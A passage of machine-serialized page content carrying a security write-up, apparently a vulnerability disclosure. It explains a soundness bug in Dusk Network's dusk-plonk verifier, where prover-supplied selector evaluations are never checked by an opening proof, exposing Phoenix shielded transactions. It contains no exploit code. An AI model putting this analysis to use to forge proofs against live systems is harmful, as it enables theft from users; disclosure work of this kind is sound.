construction.",{"type":23,"tag":18268,"props":144528,"children":144529},{},[],{"type":23,"tag":61,"props":144531,"children":144533},{"id":144532},"where-dusk-plonk-differs-from-textbook-plonk",[144534],{"type":28,"value":144535},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":24,"props":144537,"children":144538},{},[144539,144548,144550,144555,144557,144587],{"type":23,"tag":31,"props":144540,"children":144542},{"href":141414,"rel":144541},[35],[144543],{"type":23,"tag":92,"props":144544,"children":144546},{"className":144545},[],[144547],{"type":28,"value":141418},{"type":28,"value":144549}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":92,"props":144551,"children":144553},{"className":144552},[],[144554],{"type":28,"value":70074},{"type":28,"value":144556},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":92,"props":144558,"children":144560},{"className":144559},[1183,1184],[144561],{"type":23,"tag":134,"props":144562,"children":144564},{"className":144563},[1189],[144565],{"type":23,"tag":134,"props":144566,"children":144568},{"className":144567,"ariaHidden":1195},[1194],[144569],{"type":23,"tag":134,"props":144570,"children":144572},{"className":144571},[1200],[144573,144577,144582],{"type":23,"tag":134,"props":144574,"children":144576},{"className":144575,"style":110400},[1205],[],{"type":23,"tag":134,"props":144578,"children":144580},{"className":144579,"style":113116},[1211,21066],[144581],{"type":28,"value":113119},{"type":23,"tag":134,"props":144583,"children":144585},{"className":144584,"style":93045},[1211,21066],[144586],{"type":28,"value":144249},{"type":28,"value":144588},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":24,"props":144590,"children":144591},{},[144592,144594,144599,144600,144605,144607,144613,144615,144622],{"type":28,"value":144593},"The important part for this bug is the boundary between ",{"type":23,"tag":2532,"props":144595,"children":144596},{},[144597],{"type":28,"value":144598},"public circuit data",{"type":28,"value":10458},{"type":23,"tag":2532,"props":144601,"children":144602},{},[144603],{"type":28,"value":144604},"prover claims about that data at the random challenge point",{"type":28,"value":144606},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":92,"props":144608,"children":144610},{"className":144609},[],[144611],{"type":28,"value":144612},"Ql, Qr, Qm, Qo, Qk",{"type":28,"value":144614}," directly into the ",{"type":23,"tag":31,"props":144616,"children":144619},{"href":144617,"rel":144618},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[35],[144620],{"type":28,"value":144621},"linearization multi-scalar multiplication",{"type":28,"value":144623},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":24,"props":144625,"children":144626},{},[144627,144629,144654],{"type":28,"value":144628},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":92,"props":144630,"children":144632},{"className":144631},[1183,1184],[144633],{"type":23,"tag":134,"props":144634,"children":144636},{"className":144635},[1189],[144637],{"type":23,"tag":134,"props":144638,"children":144640},{"className":144639,"ariaHidden":1195},[1194],[144641],{"type":23,"tag":134,"props":144642,"children":144644},{"className":144643},[1200],[144645,144649],{"type":23,"tag":134,"props":144646,"children":144648},{"className":144647,"style":110400},[1205],[],{"type":23,"tag":134,"props":144650,"children":144652},{"className":144651,"style":113116},[1211,21066],[144653],{"type":28,"value":113119},{"type":28,"value":144655}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":24,"props":144657,"children":144658},{},[144659],{"type":28,"value":144660},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":144662,"props":144663,"children":144664},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":18268,"props":144666,"children":144667},{},[],{"type":23,"tag":61,"props":144669,"children":144671},{"id":144670},"how-dusk-uses-plonk",[144672],{"type":28,"value":144673},"How Dusk uses PLONK",{"type":23,"tag":24,"props":144675,"children":144676},{},[144677,144683],{"type":23,"tag":31,"props":144678,"children":144680},{"href":141423,"rel":144679},[35],[144681],{"type":28,"value":144682},"Dusk Network",{"type":28,"value":144684}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":16158,"props":144686,"children":144687},{},[144688,144693],{"type":23,"tag":4894,"props":144689,"children":144690},{},[144691],{"type":28,"value":144692},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":4894,"props":144694,"children":144695},{},[144696],{"type":28,"value":144697},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":24,"props":144699,"children":144700},{},[144701,144703,144714,144716,144727],{"type":28,"value":144702},"At node level, every ",{"type":23,"tag":31,"props":144704,"children":144707},{"href":144705,"rel":144706},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[35],[144708],{"type":23,"tag":92,"props":144709,"children":144711},{"className":144710},[],[144712],{"type":28,"value":144713},"ProtocolTransaction::Phoenix",{"type":28,"value":144715}," goes through ",{"type":23,"tag":31,"props":144717,"children":144720},{"href":144718,"rel":144719},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[35],[144721],{"type":23,"tag":92,"props":144722,"children":144724},{"className":144723},[],[144725],{"type":28,"value":144726},"verify_proof_with_version()",{"type":28,"value":144728}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":24,"props":144730,"children":144731},{},[144732,144734,144745,144747,144758,144759,144770,144771,144782,144783,144794],{"type":28,"value":144733},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":31,"props":144735,"children":144738},{"href":144736,"rel":144737},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[35],[144739],{"type":23,"tag":92,"props":144740,"children":144742},{"className":144741},[],[144743],{"type":28,"value":144744},"phoenix()",{"type":28,"value":144746},", for example in ",{"type":23,"tag":31,"props":144748,"children":144751},{"href":144749,"rel":144750},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[35],[144752],{"type":23,"tag":92,"props":144753,"children":144755},{"className":144754},[],[144756],{"type":28,"value":144757},"phoenix_stake()",{"type":28,"value":242},{"type":23,"tag":31,"props":144760,"children":144763},{"href":144761,"rel":144762},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[35],[144764],{"type":23,"tag":92,"props":144765,"children":144767},{"className":144766},[],[144768],{"type":28,"value":144769},"phoenix_stake_reward()",{"type":28,"value":242},{"type":23,"tag":31,"props":144772,"children":144775},{"href":144773,"rel":144774},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[35],[144776],{"type":23,"tag":92,"props":144777,"children":144779},{"className":144778},[],[144780],{"type":28,"value":144781},"phoenix_unstake()",{"type":28,"value":5945},{"type":23,"tag":31,"props":144784,"children":144787},{"href":144785,"rel":144786},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[35],[144788],{"type":23,"tag":92,"props":144789,"children":144791},{"className":144790},[],[144792],{"type":28,"value":144793},"phoenix_to_moonlight()",{"type":28,"value":144795},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":24,"props":144797,"children":144798},{},[144799],{"type":23,"tag":1116,"props":144800,"children":144803},{"alt":144801,"src":144802},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":24,"props":144805,"children":144806},{},[144807,144809,144815,144817,144824],{"type":28,"value":144808},"The PLONK implementation, ",{"type":23,"tag":31,"props":144810,"children":144813},{"href":144811,"rel":144812},"https://github.com/dusk-network/plonk",[35],[144814],{"type":28,"value":141418},{"type":28,"value":144816},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":31,"props":144818,"children":144821},{"href":144819,"rel":144820},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[35],[144822],{"type":28,"value":144823},"the original paper",{"type":28,"value":144825}," was released.",{"type":23,"tag":24,"props":144827,"children":144828},{},[144829,144831,144837],{"type":28,"value":144830},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":31,"props":144832,"children":144835},{"href":144833,"rel":144834},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[35],[144836],{"type":28,"value":47089},{"type":28,"value":144838},". The circuit enforces the following set of constraints:",{"type":23,"tag":55251,"props":144840,"children":144841},{},[144842,144858],{"type":23,"tag":122510,"props":144843,"children":144844},{},[144845],{"type":23,"tag":122514,"props":144846,"children":144847},{},[144848,144853],{"type":23,"tag":122518,"props":144849,"children":144850},{},[144851],{"type":28,"value":144852},"Circuit check",{"type":23,"tag":122518,"props":144854,"children":144855},{},[144856],{"type":28,"value":144857},"Statement being checked",{"type":23,"tag":122538,"props":144859,"children":144860},{},[144861,144879,144897,144915,144933,145090,145230,145248],{"type":23,"tag":122514,"props":144862,"children":144863},{},[144864,144874],{"type":23,"tag":122545,"props":144865,"children":144866},{},[144867],{"type":23,"tag":31,"props":144868,"children":144871},{"href":144869,"rel":144870},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[35],[144872],{"type":28,"value":144873},"Merkle tree membership",{"type":23,"tag":122545,"props":144875,"children":144876},{},[144877],{"type":28,"value":144878},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":122514,"props":144880,"children":144881},{},[144882,144892],{"type":23,"tag":122545,"props":144883,"children":144884},{},[144885],{"type":23,"tag":31,"props":144886,"children":144889},{"href":144887,"rel":144888},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[35],[144890],{"type":28,"value":144891},"Input-note secret-key authorization",{"type":23,"tag":122545,"props":144893,"children":144894},{},[144895],{"type":28,"value":144896},"The prover knows the secret key controlling each input note",{"type":23,"tag":122514,"props":144898,"children":144899},{},[144900,144910],{"type":23,"tag":122545,"props":144901,"children":144902},{},[144903],{"type":23,"tag":31,"props":144904,"children":144907},{"href":144905,"rel":144906},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[35],[144908],{"type":28,"value":144909},"Nullifier correctness",{"type":23,"tag":122545,"props":144911,"children":144912},{},[144913],{"type":28,"value":144914},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":122514,"props":144916,"children":144917},{},[144918,144928],{"type":23,"tag":122545,"props":144919,"children":144920},{},[144921],{"type":23,"tag":31,"props":144922,"children":144925},{"href":144923,"rel":144924},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[35],[144926],{"type":28,"value":144927},"Output value commitment correctness",{"type":23,"tag":122545,"props":144929,"children":144930},{},[144931],{"type":28,"value":144932},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":122514,"props":144934,"children":144935},{},[144936,144946],{"type":23,"tag":122545,"props":144937,"children":144938},{},[144939],{"type":23,"tag":31,"props":144940,"children":144943},{"href":144941,"rel":144942},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[35],[144944],{"type":28,"value":144945},"Balance integrity",{"type":23,"tag":122545,"props":144947,"children":144948},{},[144949],{"type":23,"tag":92,"props":144950,"children":144952},{"className":144951},[1183,1184],[144953],{"type":23,"tag":134,"props":144954,"children":144956},{"className":144955},[1189],[144957],{"type":23,"tag":134,"props":144958,"children":144960},{"className":144959,"ariaHidden":1195},[1194],[144961,145001,145041,145073],{"type":23,"tag":134,"props":144962,"children":144964},{"className":144963},[1200],[144965,144969,144974,144978,144988,144992,144997],{"type":23,"tag":134,"props":144966,"children":144968},{"className":144967,"style":1313},[1205],[],{"type":23,"tag":134,"props":144970,"children":144972},{"className":144971,"style":21109},[21102,21107,21108],[144973],{"type":28,"value":108354},{"type":23,"tag":134,"props":144975,"children":144977},{"className":144976,"style":1331},[1292],[],{"type":23,"tag":134,"props":144979,"children":144981},{"className":144980},[1211,28],[144982],{"type":23,"tag":134,"props":144983,"children":144985},{"className":144984},[1211],[144986],{"type":28,"value":144987},"inputs",{"type":23,"tag":134,"props":144989,"children":144991},{"className":144990,"style":1390},[1292],[],{"type":23,"tag":134,"props":144993,"children":144995},{"className":144994},[1395],[144996],{"type":28,"value":257},{"type":23,"tag":134,"props":144998,"children":145000},{"className":144999,"style":1390},[1292],[],{"type":23,"tag":134,"props":145002,"children":145004},{"className":145003},[1200],[145005,145009,145014,145018,145028,145032,145037],{"type":23,"tag":134,"props":145006,"children":145008},{"className":145007,"style":1313},[1205],[],{"type":23,"tag":134,"props":145010,"children":145012},{"className":145011,"style":21109},[21102,21107,21108],[145013],{"type":28,"value":108354},{"type":23,"tag":134,"props":145015,"children":145017},{"className":145016,"style":1331},[1292],[],{"type":23,"tag":134,"props":145019,"children":145021},{"className":145020},[1211,28],[145022],{"type":23,"tag":134,"props":145023,"children":145025},{"className":145024},[1211],[145026],{"type":28,"value":145027},"outputs",{"type":23,"tag":134,"props":145029,"children":145031},{"className":145030,"style":1293},[1292],[],{"type":23,"tag":134,"props":145033,"children":145035},{"className":145034},[1298],[145036],{"type":28,"value":1586},{"type":23,"tag":134,"props":145038,"children":145040},{"className":145039,"style":1293},[1292],[],{"type":23,"tag":134,"props":145042,"children":145044},{"className":145043},[1200],[145045,145050,145060,145064,145069],{"type":23,"tag":134,"props":145046,"children":145049},{"className":145047,"style":145048},[1205],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":134,"props":145051,"children":145053},{"className":145052},[1211,28],[145054],{"type":23,"tag":134,"props":145055,"children":145057},{"className":145056},[1211],[145058],{"type":28,"value":145059},"fee",{"type":23,"tag":134,"props":145061,"children":145063},{"className":145062,"style":1293},[1292],[],{"type":23,"tag":134,"props":145065,"children":145067},{"className":145066},[1298],[145068],{"type":28,"value":1586},{"type":23,"tag":134,"props":145070,"children":145072},{"className":145071,"style":1293},[1292],[],{"type":23,"tag":134,"props":145074,"children":145076},{"className":145075},[1200],[145077,145081],{"type":23,"tag":134,"props":145078,"children":145080},{"className":145079,"style":114614},[1205],[],{"type":23,"tag":134,"props":145082,"children":145084},{"className":145083},[1211,28],[145085],{"type":23,"tag":134,"props":145086,"children":145088},{"className":145087},[1211],[145089],{"type":28,"value":61471},{"type":23,"tag":122514,"props":145091,"children":145092},{},[145093,145110],{"type":23,"tag":122545,"props":145094,"children":145095},{},[145096,145103,145104],{"type":23,"tag":31,"props":145097,"children":145100},{"href":145098,"rel":145099},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[35],[145101],{"type":28,"value":145102},"Range checks on inputs",{"type":28,"value":10458},{"type":23,"tag":31,"props":145105,"children":145108},{"href":145106,"rel":145107},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[35],[145109],{"type":28,"value":145027},{"type":23,"tag":122545,"props":145111,"children":145112},{},[145113,145115],{"type":28,"value":145114},"All note values lie in ",{"type":23,"tag":92,"props":145116,"children":145118},{"className":145117},[1183,1184],[145119],{"type":23,"tag":134,"props":145120,"children":145122},{"className":145121},[1189],[145123],{"type":23,"tag":134,"props":145124,"children":145126},{"className":145125,"ariaHidden":1195},[1194],[145127,145212],{"type":23,"tag":134,"props":145128,"children":145130},{"className":145129},[1200],[145131,145135,145140,145145,145150,145154,145199,145203,145208],{"type":23,"tag":134,"props":145132,"children":145134},{"className":145133,"style":114871},[1205],[],{"type":23,"tag":134,"props":145136,"children":145138},{"className":145137},[21195],[145139],{"type":28,"value":924},{"type":23,"tag":134,"props":145141,"children":145143},{"className":145142},[1211],[145144],{"type":28,"value":1224},{"type":23,"tag":134,"props":145146,"children":145148},{"className":145147},[1324],[145149],{"type":28,"value":1327},{"type":23,"tag":134,"props":145151,"children":145153},{"className":145152,"style":1331},[1292],[],{"type":23,"tag":134,"props":145155,"children":145157},{"className":145156},[1211],[145158,145163],{"type":23,"tag":134,"props":145159,"children":145161},{"className":145160},[1211],[145162],{"type":28,"value":291},{"type":23,"tag":134,"props":145164,"children":145166},{"className":145165},[1228],[145167],{"type":23,"tag":134,"props":145168,"children":145170},{"className":145169},[1233],[145171],{"type":23,"tag":134,"props":145172,"children":145174},{"className":145173},[1238],[145175],{"type":23,"tag":134,"props":145176,"children":145178},{"className":145177,"style":1206},[1243],[145179],{"type":23,"tag":134,"props":145180,"children":145181},{"style":1247},[145182,145186],{"type":23,"tag":134,"props":145183,"children":145185},{"className":145184,"style":1253},[1252],[],{"type":23,"tag":134,"props":145187,"children":145189},{"className":145188},[1258,1259,1260,1261],[145190],{"type":23,"tag":134,"props":145191,"children":145193},{"className":145192},[1211,1261],[145194],{"type":23,"tag":134,"props":145195,"children":145197},{"className":145196},[1211,1261],[145198],{"type":28,"value":28916},{"type":23,"tag":134,"props":145200,"children":145202},{"className":145201,"style":1293},[1292],[],{"type":23,"tag":134,"props":145204,"children":145206},{"className":145205},[1298],[145207],{"type":28,"value":1272},{"type":23,"tag":134,"props":145209,"children":145211},{"className":145210,"style":1293},[1292],[],{"type":23,"tag":134,"props":145213,"children":145215},{"className":145214},[1200],[145216,145220,145225],{"type":23,"tag":134,"props":145217,"children":145219},{"className":145218,"style":1313},[1205],[],{"type":23,"tag":134,"props":145221,"children":145223},{"className":145222},[1211],[145224],{"type":28,"value":1214},{"type":23,"tag":134,"props":145226,"children":145228},{"className":145227},[21217],[145229],{"type":28,"value":14880},{"type":23,"tag":122514,"props":145231,"children":145232},{},[145233,145243],{"type":23,"tag":122545,"props":145234,"children":145235},{},[145236],{"type":23,"tag":31,"props":145237,"children":145240},{"href":145238,"rel":145239},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[35],[145241],{"type":28,"value":145242},"Sender-authorship signatures",{"type":23,"tag":122545,"props":145244,"children":145245},{},[145246],{"type":28,"value":145247},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":122514,"props":145249,"children":145250},{},[145251,145261],{"type":23,"tag":122545,"props":145252,"children":145253},{},[145254],{"type":23,"tag":31,"props":145255,"children":145258},{"href":145256,"rel":145257},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[35],[145259],{"type":28,"value":145260},"Sender encryption correctness",{"type":23,"tag":122545,"props":145262,"children":145263},{},[145264],{"type":28,"value":145265},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":24,"props":145267,"children":145268},{},[145269,145271,145277,145279,145288],{"type":28,"value":145270},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":92,"props":145272,"children":145274},{"className":145273},[],[145275],{"type":28,"value":145276},"tx.public_inputs()",{"type":28,"value":145278}," via ",{"type":23,"tag":31,"props":145280,"children":145282},{"href":144718,"rel":145281},[35],[145283],{"type":23,"tag":92,"props":145284,"children":145286},{"className":145285},[],[145287],{"type":28,"value":144726},{"type":28,"value":720},{"type":23,"tag":24,"props":145290,"children":145291},{},[145292],{"type":28,"value":145293},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":18268,"props":145295,"children":145296},{},[],{"type":23,"tag":61,"props":145298,"children":145299},{"id":89813},[145300],{"type":28,"value":145301},"The bug",{"type":23,"tag":24,"props":145303,"children":145304},{},[145305,145307,145314,145316,145327],{"type":28,"value":145306},"In the ",{"type":23,"tag":31,"props":145308,"children":145311},{"href":145309,"rel":145310},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[35],[145312],{"type":28,"value":145313},"PLONK verification",{"type":28,"value":145315},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":31,"props":145317,"children":145320},{"href":145318,"rel":145319},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[35],[145321],{"type":23,"tag":92,"props":145322,"children":145324},{"className":145323},[],[145325],{"type":28,"value":145326},"E_evals",{"type":28,"value":145328},") are:",{"type":23,"tag":16158,"props":145330,"children":145331},{},[145332,145364,145389,145414],{"type":23,"tag":4894,"props":145333,"children":145334},{},[145335,145341,145342,145348,145349,145355,145356,145362],{"type":23,"tag":92,"props":145336,"children":145338},{"className":145337},[],[145339],{"type":28,"value":145340},"a_eval",{"type":28,"value":242},{"type":23,"tag":92,"props":145343,"children":145345},{"className":145344},[],[145346],{"type":28,"value":145347},"b_eval",{"type":28,"value":242},{"type":23,"tag":92,"props":145350,"children":145352},{"className":145351},[],[145353],{"type":28,"value":145354},"c_eval",{"type":28,"value":242},{"type":23,"tag":92,"props":145357,"children":145359},{"className":145358},[],[145360],{"type":28,"value":145361},"d_eval",{"type":28,"value":145363}," (witness)",{"type":23,"tag":4894,"props":145365,"children":145366},{},[145367,145373,145374,145380,145381,145387],{"type":23,"tag":92,"props":145368,"children":145370},{"className":145369},[],[145371],{"type":28,"value":145372},"s_sigma_1_eval",{"type":28,"value":242},{"type":23,"tag":92,"props":145375,"children":145377},{"className":145376},[],[145378],{"type":28,"value":145379},"s_sigma_2_eval",{"type":28,"value":242},{"type":23,"tag":92,"props":145382,"children":145384},{"className":145383},[],[145385],{"type":28,"value":145386},"s_sigma_3_eval",{"type":28,"value":145388}," (permutation)",{"type":23,"tag":4894,"props":145390,"children":145391},{},[145392,145398,145399,145405,145406,145412],{"type":23,"tag":92,"props":145393,"children":145395},{"className":145394},[],[145396],{"type":28,"value":145397},"a_w_eval",{"type":28,"value":242},{"type":23,"tag":92,"props":145400,"children":145402},{"className":145401},[],[145403],{"type":28,"value":145404},"b_w_eval",{"type":28,"value":242},{"type":23,"tag":92,"props":145407,"children":145409},{"className":145408},[],[145410],{"type":28,"value":145411},"d_w_eval",{"type":28,"value":145413}," (shifted witness)",{"type":23,"tag":4894,"props":145415,"children":145416},{},[145417,145423],{"type":23,"tag":92,"props":145418,"children":145420},{"className":145419},[],[145421],{"type":28,"value":145422},"z_eval",{"type":28,"value":145424}," (permutation accumulator)",{"type":23,"tag":24,"props":145426,"children":145427},{},[145428,145430,145434],{"type":28,"value":145429},"But the following selector evaluations were ",{"type":23,"tag":55,"props":145431,"children":145432},{},[145433],{"type":28,"value":17963},{"type":28,"value":145435}," included:",{"type":23,"tag":16158,"props":145437,"children":145438},{},[145439,145450,145461,145472],{"type":23,"tag":4894,"props":145440,"children":145441},{},[145442,145448],{"type":23,"tag":92,"props":145443,"children":145445},{"className":145444},[],[145446],{"type":28,"value":145447},"q_arith_eval",{"type":28,"value":145449}," (arithmetic selector)",{"type":23,"tag":4894,"props":145451,"children":145452},{},[145453,145459],{"type":23,"tag":92,"props":145454,"children":145456},{"className":145455},[],[145457],{"type":28,"value":145458},"q_c_eval",{"type":28,"value":145460}," (constant selector)",{"type":23,"tag":4894,"props":145462,"children":145463},{},[145464,145470],{"type":23,"tag":92,"props":145465,"children":145467},{"className":145466},[],[145468],{"type":28,"value":145469},"q_l_eval",{"type":28,"value":145471}," (left selector)",{"type":23,"tag":4894,"props":145473,"children":145474},{},[145475,145481],{"type":23,"tag":92,"props":145476,"children":145478},{"className":145477},[],[145479],{"type":28,"value":145480},"q_r_eval",{"type":28,"value":145482}," (right selector)",{"type":23,"tag":24,"props":145484,"children":145485},{},[145486,145488,145495,145496,145503,145504,145511,145512,145519],{"type":28,"value":145487},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":31,"props":145489,"children":145492},{"href":145490,"rel":145491},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[35],[145493],{"type":28,"value":145494},"proof struct",{"type":28,"value":242},{"type":23,"tag":31,"props":145497,"children":145500},{"href":145498,"rel":145499},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[35],[145501],{"type":28,"value":145502},"transcript absorption",{"type":28,"value":242},{"type":23,"tag":31,"props":145505,"children":145508},{"href":145506,"rel":145507},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[35],[145509],{"type":28,"value":145510},"arithmetic widget",{"type":28,"value":242},{"type":23,"tag":31,"props":145513,"children":145516},{"href":145514,"rel":145515},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[35],[145517],{"type":28,"value":145518},"fixed-base ECC widget",{"type":28,"value":145520},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":24,"props":145522,"children":145523},{},[145524,145526,145530],{"type":28,"value":145525},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":55,"props":145527,"children":145528},{},[145529],{"type":28,"value":17963},{"type":28,"value":145531}," bugs:",{"type":23,"tag":16158,"props":145533,"children":145534},{},[145535,145675],{"type":23,"tag":4894,"props":145536,"children":145537},{},[145538,145540,145585,145587,145593,145595,145600,145601,145606,145607,145612,145614,145620,145622,145667,145669,145674],{"type":28,"value":145539},"There is no prover-supplied ",{"type":23,"tag":92,"props":145541,"children":145543},{"className":145542},[1183,1184],[145544],{"type":23,"tag":134,"props":145545,"children":145547},{"className":145546},[1189],[145548],{"type":23,"tag":134,"props":145549,"children":145551},{"className":145550,"ariaHidden":1195},[1194],[145552],{"type":23,"tag":134,"props":145553,"children":145555},{"className":145554},[1200],[145556,145560,145565,145570,145575,145580],{"type":23,"tag":134,"props":145557,"children":145559},{"className":145558,"style":1313},[1205],[],{"type":23,"tag":134,"props":145561,"children":145563},{"className":145562},[1211,21066],[145564],{"type":28,"value":315},{"type":23,"tag":134,"props":145566,"children":145568},{"className":145567},[21195],[145569],{"type":28,"value":272},{"type":23,"tag":134,"props":145571,"children":145573},{"className":145572,"style":113116},[1211,21066],[145574],{"type":28,"value":113119},{"type":23,"tag":134,"props":145576,"children":145578},{"className":145577,"style":93045},[1211,21066],[145579],{"type":28,"value":144249},{"type":23,"tag":134,"props":145581,"children":145583},{"className":145582},[21217],[145584],{"type":28,"value":296},{"type":28,"value":145586}," field at all. ",{"type":23,"tag":92,"props":145588,"children":145590},{"className":145589},[],[145591],{"type":28,"value":145592},"ProofEvaluations",{"type":28,"value":145594}," contains ",{"type":23,"tag":92,"props":145596,"children":145598},{"className":145597},[],[145599],{"type":28,"value":145397},{"type":28,"value":242},{"type":23,"tag":92,"props":145602,"children":145604},{"className":145603},[],[145605],{"type":28,"value":145404},{"type":28,"value":5945},{"type":23,"tag":92,"props":145608,"children":145610},{"className":145609},[],[145611],{"type":28,"value":145411},{"type":28,"value":145613},", but no ",{"type":23,"tag":92,"props":145615,"children":145617},{"className":145616},[],[145618],{"type":28,"value":145619},"c_w_eval",{"type":28,"value":145621},", so the verifier never consumes an unbound ",{"type":23,"tag":92,"props":145623,"children":145625},{"className":145624},[1183,1184],[145626],{"type":23,"tag":134,"props":145627,"children":145629},{"className":145628},[1189],[145630],{"type":23,"tag":134,"props":145631,"children":145633},{"className":145632,"ariaHidden":1195},[1194],[145634],{"type":23,"tag":134,"props":145635,"children":145637},{"className":145636},[1200],[145638,145642,145647,145652,145657,145662],{"type":23,"tag":134,"props":145639,"children":145641},{"className":145640,"style":1313},[1205],[],{"type":23,"tag":134,"props":145643,"children":145645},{"className":145644},[1211,21066],[145646],{"type":28,"value":315},{"type":23,"tag":134,"props":145648,"children":145650},{"className":145649},[21195],[145651],{"type":28,"value":272},{"type":23,"tag":134,"props":145653,"children":145655},{"className":145654,"style":113116},[1211,21066],[145656],{"type":28,"value":113119},{"type":23,"tag":134,"props":145658,"children":145660},{"className":145659,"style":93045},[1211,21066],[145661],{"type":28,"value":144249},{"type":23,"tag":134,"props":145663,"children":145665},{"className":145664},[21217],[145666],{"type":28,"value":296},{"type":28,"value":145668}," claim 